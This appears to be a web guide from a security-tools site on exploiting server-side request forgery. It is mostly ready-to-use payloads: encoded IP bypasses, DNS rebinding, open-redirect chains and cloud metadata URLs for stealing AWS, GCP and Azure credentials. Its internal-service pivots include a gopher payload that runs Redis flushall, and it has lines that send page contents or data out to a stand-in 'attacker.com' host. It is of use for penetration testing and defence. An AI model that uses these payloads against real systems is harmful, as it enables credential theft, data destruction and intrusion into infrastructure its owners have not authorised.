Advanced SSRF Techniques: Bypassing Filters and Pivoting to Internal Services
Server-Side Request Forgery (SSRF) occurs when an attacker can induce the server-side application to make HTTP requests to an arbitrary domain or IP address. In cloud environments, SSRF is often critical — a single request to the cloud metadata endpoint can yield credentials with full infrastructure access. This guide covers advanced SSRF exploitation and filter bypass techniques.
Identifying SSRF Entry Points
SSRF vulnerabilities hide in any feature that fetches a URL on the user's behalf:
- Webhook URL configuration
- Link preview / URL preview features
- Import data from URL (CSV import, feed import)
- PDF generation from URL
- Image fetching or proxying
- OAuth redirect URI validation
- XML/JSON parsers with external entity support
Bypassing IP-Based Filters
Applications often block requests to private IP ranges. These blocks are frequently bypassable:
Decimal and Hex IP Representation
# 127.0.0.1 in alternate formats:
http://2130706433/ # Decimal integer
http://0x7f000001/ # Hexadecimal
http://0177.0.0.1/ # Octal first octet
http://0x7f.0x0.0x0.0x1/ # Hex per octet
http://127.1/ # Short notation
http://127.0.1/ # Short notation variant
# 169.254.169.254 (AWS metadata) in alternate formats:
http://2852039166/ # Decimal
http://0xa9fea9fe/ # Hex
IPv6 Bypass
# IPv6 loopback:
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/
# IPv6 representation of 169.254.169.254:
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/
DNS Rebinding
DNS rebinding exploits the gap between DNS validation and request execution. An attacker-controlled domain initially resolves to an allowed IP (e.g., their own server) to pass validation, then the DNS TTL expires and the domain resolves to a private IP for the actual fetch:
# Service: https://lock.cmpxchg8b.com/rebinder.html
# Set domain to alternate between your public IP and 127.0.0.1
# Use a very low TTL (1 second)
# Step 1: SSRF filter resolves domain → returns your public IP → allowed
# Step 2: Fetch occurs → domain re-resolves → returns 127.0.0.1
# Step 3: Application fetches http://127.0.0.1/admin
URL Redirectors
# Use an open redirect on a trusted domain to bounce to private IP:
http://trusted.com/redirect?url=http://169.254.169.254/
# Common open redirect parameters:
?url=, ?redirect=, ?next=, ?return=, ?go=, ?target=
# Using attacker-controlled domain with redirect:
# Set up: curl -v http://attacker.com/meta
# Returns: HTTP/1.1 301 Location: http://169.254.169.254/latest/meta-data/
Cloud Metadata API Access
AWS IMDSv1
# No authentication required — direct access:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}
AWS IMDSv2 Bypass
IMDSv2 requires a PUT request to obtain a session token before metadata access:
# Step 1: Get IMDSv2 token via PUT (may work through SSRF if PUT is supported):
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token in GET request:
GET http://169.254.169.254/latest/meta-data/
X-aws-ec2-metadata-token: [TOKEN]
# Note: Many SSRF scenarios only support GET — IMDSv2 provides meaningful protection in these cases
Google Cloud Platform
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Requires header: Metadata-Flavor: Google
# Service account token:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires header: Metadata: true
# Access tokens:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Pivoting to Internal Services
Once SSRF is confirmed, scan internal services:
# Common internal targets:
http://localhost:6379/ # Redis
http://localhost:9200/ # Elasticsearch
http://localhost:8500/ # Consul
http://localhost:2375/ # Docker daemon (unprotected)
http://localhost:8080/manager/ # Tomcat manager
http://192.168.1.1/ # Router admin panel
# Redis via SSRF (Gopher protocol if supported):
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
SSRF via PDF Generators
Server-side PDF generators (wkhtmltopdf, headless Chrome, PhantomJS) are excellent SSRF vectors because they render full HTML including script execution and internal network requests:
# If the app generates PDFs from user content:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<img src="http://internal.service.corp/admin/users">
<script>document.write('<img src="http://attacker.com/?'+document.body.innerHTML+'>');</script>
Blind SSRF with Out-of-Band Detection
When SSRF is present but the response is not reflected, use out-of-band detection:
# Use Burp Collaborator or interactsh:
https://target.com/api/preview?url=https://your-collaborator-id.burpcollaborator.net/
# DNS-only SSRF (some backends only perform DNS lookups):
# Even a DNS lookup to your collaborator confirms SSRF
Use the Recon Hub to identify all URL-accepting parameters across the target before beginning SSRF testing. See our API Security Top 10 guide for SSRF in API contexts specifically.
SSRF via URL Parser Quirks
Different HTTP client libraries parse URLs differently, and these inconsistencies create bypass opportunities when a security validation layer uses one parser while the backend HTTP client uses another.
Curl and Wget Quirks
# URL with embedded auth that some validators pass but backends mishandle:
http://169.254.169.254:[email protected]/
# Fragment-based confusion (some parsers stop at #):
http://evil.com#@expected-host.com/
# Backslash normalization (some parsers convert to /):
http://expected-host.com\@evil.com/
Protocol Handler Abuse
Beyond HTTP, test alternative protocol handlers that the underlying client library may support:
dict://127.0.0.1:11211/ # Memcached enumeration
ftp://127.0.0.1:21/ # FTP banner and directory listing
ldap://127.0.0.1:389/ # LDAP queries
sftp://attacker.com/ # Out-of-band data exfiltration via SSH
Escalating Blind SSRF to Full Data Read
When you have blind SSRF but responses are not reflected in the HTTP response, several escalation techniques apply. If the application behaves differently when a URL returns 200 vs. 404, you can binary search the internal network to map live services. DNS rebinding can sometimes escalate blind SSRF to full response exfiltration. Additionally, some applications log SSRF responses to error logs that are separately accessible through a path traversal or LFI vulnerability — combining both findings achieves complete data exfiltration where neither finding alone would suffice.
Use the Secret Scanner to analyze any leaked cloud credentials for active IAM permissions. AWS credentials obtained via IMDSv1 SSRF frequently have broad permissions — run aws sts get-caller-identity and aws iam list-attached-user-policies to understand the blast radius before proceeding with exploitation.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides